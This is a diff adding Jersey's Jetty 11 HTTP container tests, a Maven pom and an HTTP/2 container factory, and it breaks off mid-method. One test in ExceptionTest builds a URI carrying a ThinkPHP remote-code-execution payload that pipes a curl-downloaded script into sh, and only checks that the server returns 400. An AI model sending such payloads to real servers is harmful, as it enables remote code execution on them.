Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import java.net.URI; +import java.security.AccessController; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.RuntimeType; +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.internal.util.PropertiesHelper; +import org.glassfish.jersey.server.ResourceConfig; + +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.server.ServerConnector; +import org.junit.jupiter.api.AfterEach; + +/** + * Abstract Jetty Server unit tester. + * + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Miroslav Fuksa + */ +public abstract class AbstractJettyServerTester { + + private static final Logger LOGGER = Logger.getLogger(AbstractJettyServerTester.class.getName()); + + public static final String CONTEXT = ""; + private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998 + + /** + * Get the port to be used for test application deployments. + * + * @return The HTTP port of the URI + */ + protected final int getPort() { + if (server != null) { + return ((ServerConnector) server.getConnectors()[0]).getLocalPort(); + } + + final String value = AccessController + .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); + if (value != null) { + + try { + final int i = Integer.parseInt(value); + if (i < 0) { + throw new NumberFormatException("Value is negative."); + } + return i; + } catch (NumberFormatException e) { + LOGGER.log(Level.CONFIG, + "Value of 'jersey.config.test.container.port'" + + " property is not a valid non-negative integer [" + value + "]." + + " Reverting to default [" + DEFAULT_PORT + "].", + e); + } + } + return DEFAULT_PORT; + } + + private final int getPort(RuntimeType runtimeType) { + switch (runtimeType) { + case SERVER: + return getPort(); + case CLIENT: + return server.getURI().getPort(); + default: + throw new IllegalStateException("Unexpected runtime type"); + } + } + + private volatile Server server; + + public UriBuilder getUri() { + return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT); + } + + public void startServer(Class... resources) { + ResourceConfig config = new ResourceConfig(resources); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + startServer(config); + } + + public void startServer(ResourceConfig config) { + final URI baseUri = getBaseUri(); + server = JettyHttpContainerFactory.createServer(baseUri, config); + LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + getBaseUri()); + } + + public URI getBaseUri() { + return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build(); + } + + public void stopServer() { + try { + server.stop(); + server = null; + LOGGER.log(Level.INFO, "Jetty-http server stopped."); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + @AfterEach + public void tearDown() { + if (server != null) { + stopServer(); + } + } +} diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java new file mode 100644 index 00000000000..dfc66b07ca5 --- /dev/null +++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java @@ -0,0 +1,169 @@ +/* + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import java.util.concurrent.ExecutionException; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.concurrent.atomic.AtomicInteger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.container.AsyncResponse; +import jakarta.ws.rs.container.Suspended; +import jakarta.ws.rs.container.TimeoutHandler; +import jakarta.ws.rs.core.Response; + +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import static org.hamcrest.CoreMatchers.is; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Michal Gajdos + */ +public class AsyncTest extends AbstractJettyServerTester { + + @Path("/async") + @SuppressWarnings("VoidMethodAnnotatedWithGET") + public static class AsyncResource { + + public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0); + + @GET + public void asyncGet(@Suspended final AsyncResponse asyncResponse) { + new Thread(new Runnable() { + + @Override + public void run() { + final String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep() + try { + Thread.sleep(5000); + } catch (final InterruptedException e) { + // ignore + } + return "DONE"; + } + }).start(); + } + + @GET + @Path("timeout") + public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) { + asyncResponse.setTimeoutHandler(new TimeoutHandler() { + + @Override + public void handleTimeout(final AsyncResponse asyncResponse) { + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.") + .build()); + } + }); + asyncResponse.setTimeout(3, TimeUnit.SECONDS); + + new Thread(new Runnable() { + + @Override + public void run() { + final String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep() + try { + Thread.sleep(7000); + } catch (final InterruptedException e) { + // ignore + } + return "DONE"; + } + }).start(); + } + + @GET + @Path("multiple-invocations") + public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) { + INVOCATION_COUNT.incrementAndGet(); + + new Thread(new Runnable() { + @Override + public void run() { + asyncResponse.resume("OK"); + } + }).start(); + } + } + + private Client client; + + @BeforeEach + public void setUp() throws Exception { + startServer(AsyncResource.class); + client = ClientBuilder.newClient(); + } + + @Override + @AfterEach + public void tearDown() { + super.tearDown(); + client = null; + } + + @Test + public void testAsyncGet() throws ExecutionException, InterruptedException { + final Future responseFuture = client.target(getUri().path("/async")).request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + // get() waits for the response + assertEquals("DONE", response.readEntity(String.class)); + } + + @Test + public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException { + final Future responseFuture = client.target(getUri().path("/async/timeout")).request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + + // get() waits for the response + assertEquals(503, response.getStatus()); + assertEquals("Operation time out.", response.readEntity(String.class)); + } + + /** + * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request. + */ + @Test + public void testAsyncMultipleInvocations() throws Exception { + final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get(); + + assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1)); + + assertThat(response.getStatus(), is(200)); + assertThat(response.readEntity(String.class), is("OK")); + } +} diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java new file mode 100644 index 00000000000..03abb53efe4 --- /dev/null +++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java @@ -0,0 +1,97 @@ +/* + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import org.apache.http.HttpHost; +import org.apache.http.client.methods.CloseableHttpResponse; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClientBuilder; +import org.apache.http.message.BasicHttpRequest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.PathParam; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Response; + +import java.io.IOException; +import java.net.URI; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author Paul Sandoz + */ +public class ExceptionTest extends AbstractJettyServerTester { + @Path("{status}") + public static class ExceptionResource { + @GET + public String get(@PathParam("status") int status) { + throw new WebApplicationException(status); + } + + } + + @Test + public void test400StatusCodeForIllegalSymbolsInURI() throws IOException { + startServer(ExceptionResource.class); + URI testUri = getUri().build(); + String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction" + + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0" + + ".0.1/ldr.sh|sh"; + BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment); + CloseableHttpClient client = HttpClientBuilder.create().build(); + + CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request); + + assertEquals(400, response.getStatusLine().getStatusCode()); + } + + @Test + public void test400StatusCodeForIllegalHeaderValue() throws IOException { + startServer(ExceptionResource.class); + URI testUri = getUri().build(); + BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400"); + request.addHeader("X-Forwarded-Host", "_foo.com"); + CloseableHttpClient client = HttpClientBuilder.create().build(); + + CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request); + + assertEquals(400, response.getStatusLine().getStatusCode()); + } + + @Test + public void test400StatusCode() throws IOException { + startServer(ExceptionResource.class); + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("400").build()); + assertEquals(400, r.request().get(Response.class).getStatus()); + } + + @Test + public void test500StatusCode() { + startServer(ExceptionResource.class); + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("500").build()); + + assertEquals(500, r.request().get(Response.class).getStatus()); + } +} diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java new file mode 100644 index 00000000000..cb363fb7693 --- /dev/null +++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java @@ -0,0 +1,196 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import static java.lang.Boolean.FALSE; +import static java.lang.Boolean.TRUE; +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.CoreMatchers.nullValue; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.greaterThan; + +import java.security.AccessController; +import java.security.NoSuchAlgorithmException; +import java.util.Collections; +import java.util.Set; +import java.util.concurrent.CompletionStage; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.logging.Level; +import java.util.logging.Logger; + +import javax.net.ssl.SSLContext; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.internal.util.PropertiesHelper; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.server.spi.Container; +import org.glassfish.jersey.server.spi.WebServer; +import org.glassfish.jersey.server.spi.WebServerProvider; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.Timeout; + +/** + * Unit tests for {@link JettyHttpServerProvider}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +public final class JettyHttpServerProviderTest { + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public void shouldProvideServer() throws InterruptedException, ExecutionException { + // given + final Resource resource = new Resource(); + shouldProvideServer(ShouldProvideServerApplication.class, resource); + } + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException { + // given + final Resource resource = new Resource(); + final Application application = new ShouldProvideServerApplication(); + shouldProvideServer(application.getClass(), resource); + } + + private void shouldProvideServer(final Object application, final Resource resource) + throws InterruptedException, ExecutionException { + // given + final WebServerProvider webServerProvider = new JettyHttpServerProvider(); + final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE); + + // when + final WebServer webServer = Application.class.isInstance(application) + ? webServerProvider.createServer(WebServer.class, (Application) application, configuration) + : webServerProvider.createServer(WebServer.class, (Class) application, configuration); + final Object nativeHandle = webServer.unwrap(Object.class); + final CompletionStage start = webServer.start(); + final Object startResult = start.toCompletableFuture().get(); + final Container container = webServer.container(); + final int port = webServer.port(); + final String entity = ClientBuilder.newClient() + .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request() + .get(String.class); + final CompletionStage stop = webServer.stop(); + final Object stopResult = stop.toCompletableFuture().get(); + + // then + assertThat(webServer, is(instanceOf(JettyHttpServer.class))); + assertThat(nativeHandle, is(instanceOf(org.eclipse.jetty.server.Server.class))); + assertThat(startResult, is(nullValue())); + assertThat(container, is(instanceOf(JettyHttpContainer.class))); + assertThat(port, is(greaterThan(0))); + assertThat(entity, is(resource.toString())); + assertThat(stopResult, is(nullValue())); + } + + @Path("/") + protected static final class Resource { + @GET + @Override + public String toString() { + return Resource.class.getName(); + } + } + + protected static class ShouldProvideServerApplication extends Application { + @Override + public Set getSingletons() { + return Collections.singleton(new Resource()); + } + } + + private static final Logger LOGGER = Logger.getLogger(JettyHttpServerProviderTest.class.getName()); + + private static final int DEFAULT_PORT = 0; + + private static int getPort() { + final String value = AccessController + .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); + if (value != null) { + try { + final int i = Integer.parseInt(value); + if (i < 0) { + throw new NumberFormatException("Value is negative."); + } + return i; + } catch (final NumberFormatException e) { + LOGGER.log(Level.CONFIG, + "Value of 'jersey.config.test.container.port'" + + " property is not a valid non-negative integer [" + value + "]." + + " Reverting to default [" + DEFAULT_PORT + "].", + e); + } + } + + return DEFAULT_PORT; + } + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public final void shouldScanFreePort() throws InterruptedException, ExecutionException { + // given + final WebServerProvider webServerProvider = new JettyHttpServerProvider(); + final Application application = new Application(); + final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE); + + // when + final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration); + + // then + assertThat(webServer.port(), is(greaterThan(0))); + } + + private SeBootstrap.Configuration configuration(int port, boolean autoStart) { + return (SeBootstrap.Configuration) name -> { + switch (name) { + case SeBootstrap.Configuration.PROTOCOL: + return "HTTP"; + case SeBootstrap.Configuration.HOST: + return "localhost"; + case SeBootstrap.Configuration.PORT: + return port; + case SeBootstrap.Configuration.ROOT_PATH: + return "/"; + case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION: + return SSLClientAuthentication.NONE; + case SeBootstrap.Configuration.SSL_CONTEXT: + try { + return SSLContext.getDefault(); + } catch (final NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + case ServerProperties.WEBSERVER_AUTO_START: + return autoStart; + default: + return null; + } + }; + } + +} \ No newline at end of file diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java new file mode 100644 index 00000000000..133bd25cab2 --- /dev/null +++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java @@ -0,0 +1,133 @@ +/* + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener; +import org.glassfish.jersey.server.spi.Container; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Response; + +import static org.hamcrest.CoreMatchers.equalTo; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; + + +/** + * Reload and ContainerLifecycleListener support test. + * + * @author Paul Sandoz + * @author Marek Potociar + */ +public class LifecycleListenerTest extends AbstractJettyServerTester { + + @Path("/one") + public static class One { + @GET + public String get() { + return "one"; + } + } + + @Path("/two") + public static class Two { + @GET + public String get() { + return "two"; + } + } + + public static class Reloader extends AbstractContainerLifecycleListener { + Container container; + + public void reload(ResourceConfig newConfig) { + container.reload(newConfig); + } + + public void reload() { + container.reload(); + } + + @Override + public void onStartup(Container container) { + this.container = container; + } + + } + + @Test + public void testReload() { + final ResourceConfig rc = new ResourceConfig(One.class); + + Reloader reloader = new Reloader(); + rc.registerInstances(reloader); + + startServer(rc); + + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("/").build()); + + assertEquals("one", r.path("one").request().get(String.class)); + assertEquals(404, r.path("two").request().get(Response.class).getStatus()); + + // add Two resource + reloader.reload(new ResourceConfig(One.class, Two.class)); + + assertEquals("one", r.path("one").request().get(String.class)); + assertEquals("two", r.path("two").request().get(String.class)); + } + + static class StartStopListener extends AbstractContainerLifecycleListener { + volatile boolean started; + volatile boolean stopped; + + @Override + public void onStartup(Container container) { + started = true; + } + + @Override + public void onShutdown(Container container) { + stopped = true; + } + } + + @Test + public void testStartupShutdownHooks() { + final StartStopListener listener = new StartStopListener(); + + startServer(new ResourceConfig(One.class).register(listener)); + + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("/").build()); + + assertThat(r.path("one").request().get(String.class), equalTo("one")); + assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404)); + + stopServer(); + + assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called."); + assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called."); + } +} diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java new file mode 100644 index 00000000000..5d9c6279858 --- /dev/null +++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java @@ -0,0 +1,62 @@ +/* + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.core.Response; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class OptionsTest extends AbstractJettyServerTester { + + @Path("helloworld") + public static class HelloWorldResource { + public static final String CLICHED_MESSAGE = "Hello World!"; + + @GET + @Produces("text/plain") + public String getHello() { + return CLICHED_MESSAGE; + } + } + + @Test + public void testFooBarOptions() { + startServer(HelloWorldResource.class); + Client client = ClientBuilder.newClient(); + Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals(0, response.getLength()); + assertEquals("foo/bar", response.getMediaType().toString()); + } + + private void _checkAllowContent(final String content) { + assertTrue(content.contains("GET")); + assertTrue(content.contains("HEAD")); + assertTrue(content.contains("OPTIONS")); + } + +} diff --git a/containers/jetty11-http2/pom.xml b/containers/jetty11-http2/pom.xml new file mode 100644 index 00000000000..15a7d788c8c --- /dev/null +++ b/containers/jetty11-http2/pom.xml @@ -0,0 +1,175 @@ + + + + + 4.0.0 + + + project + org.glassfish.jersey.containers + 3.1.99-SNAPSHOT + + + jersey-container-jetty11-http2 + jar + jersey-container-jetty11-http2 + + Jetty 11 Http2 Container + + + + + org.eclipse.jetty + jetty-server + ${jetty11.version} + + + org.eclipse.jetty + jetty-util + ${jetty11.version} + + + org.eclipse.jetty.http2 + http2-server + ${jetty11.version} + + + org.eclipse.jetty + jetty-alpn-conscrypt-server + ${jetty11.version} + + + + + + + org.glassfish.jersey.containers + jersey-container-jetty11-http + ${project.version} + + + org.eclipse.jetty + jetty-server + + + org.eclipse.jetty + jetty-util + + + + + jakarta.inject + jakarta.inject-api + + + org.eclipse.jetty + jetty-server + ${jetty11.version} + + + org.slf4j + slf4j-api + + + + + org.eclipse.jetty + jetty-util + ${jetty11.version} + + + org.slf4j + slf4j-api + + + + + org.eclipse.jetty.http2 + http2-server + ${jetty11.version} + + + org.slf4j + slf4j-api + + + org.eclipse.jetty + jetty-server + + + + + org.eclipse.jetty + jetty-alpn-conscrypt-server + ${jetty11.version} + + + org.slf4j + slf4j-api + + + + + org.apache.httpcomponents + httpclient + test + + + org.hamcrest + hamcrest + test + + + + + + + com.sun.istack + istack-commons-maven-plugin + true + + + org.codehaus.mojo + build-helper-maven-plugin + true + + + org.apache.felix + maven-bundle-plugin + true + + + + ${jetty.osgi.version}, + * + + + + + + + + + ${basedir}/src/main/resources + true + + + + + diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java new file mode 100644 index 00000000000..ac8927c0654 --- /dev/null +++ b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java @@ -0,0 +1,217 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.eclipse.jetty.alpn.server.ALPNServerConnectionFactory; +import org.eclipse.jetty.http2.server.HTTP2CServerConnectionFactory; +import org.eclipse.jetty.http2.server.HTTP2ServerConnectionFactory; +import org.eclipse.jetty.server.ConnectionFactory; +import org.eclipse.jetty.server.Connector; +import org.eclipse.jetty.server.HttpConfiguration; +import org.eclipse.jetty.server.HttpConnectionFactory; +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.server.ServerConnector; +import org.eclipse.jetty.server.SslConnectionFactory; +import org.eclipse.jetty.util.ssl.SslContextFactory; +import org.glassfish.jersey.jetty.Jetty11HttpContainer; +import org.glassfish.jersey.jetty.Jetty11HttpContainerFactory; +import org.glassfish.jersey.jetty.Jetty11HttpContainerProvider; +import org.glassfish.jersey.server.ContainerFactory; +import org.glassfish.jersey.server.ResourceConfig; + +import jakarta.ws.rs.ProcessingException; +import java.net.URI; +import java.util.ArrayList; +import java.util.List; + +public final class Jetty11Http2ContainerFactory { + + private Jetty11Http2ContainerFactory() { + + } + + /** + * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. + * + * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createHttp2Server(final URI uri) throws ProcessingException { + return createHttp2Server(uri, null, null, true); + } + + /** + * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + *

    + * This implementation defers to the + * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * for creating an Container that manages the root resources. + * + * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be + * used as context path, the rest will be ignored. + * @param configuration web application configuration. + * @param start if set to false, server will not get started, which allows to configure the underlying + * transport layer, see above for details. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start) + throws ProcessingException { + return createHttp2Server(uri, null, + ContainerFactory.createContainer(Jetty11HttpContainer.class, configuration), start); + } + + /** + * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. + * + * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @param start if set to false, server will not get started, which allows to configure the underlying transport + * layer, see above for details. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * + * @since 2.40 + */ + + public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException { + return createHttp2Server(uri, null, null, start); + } + + /** + * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to "https". The URI user information and host + * are ignored If the URI port is not present then port 143 will be + * used. The URI path, query and fragment components are ignored. + * @param config the resource configuration. + * @param parentContext DI provider specific context with application's registered bindings. + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see Jetty11HttpContainer + * + * @since 2.40 + */ + public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start, + final Object parentContext) { + return createHttp2Server(uri, null, + new Jetty11HttpContainerProvider().createContainer(Jetty11HttpContainer.class, + config, parentContext), start); + } + + /** + * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes found by searching the + * classes referenced in the java classpath. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to {@code https}. The URI user information and host + * are ignored. If the URI port is not present then port + * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be + * used. The URI path, query and fragment components are ignored. + * @param sslContextFactory this is the SSL context factory used to configure SSL connector + * @param handler the container that handles all HTTP requests + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see Jetty11HttpContainer + * + * @since 2.40 + */ + public static Server createHttp2Server(final URI uri, + final SslContextFactory.Server sslContextFactory, + final Jetty11HttpContainer handler, + final boolean start) { + + /** + * Creating basic Jetty HTTP/1.1 container (but always not started) + */ + final Server server = Jetty11HttpContainerFactory.createServer(uri, sslContextFactory, handler, false); + /** + * Obtain configured HTTP connection factory + */ + final ServerConnector httpServerConnector = 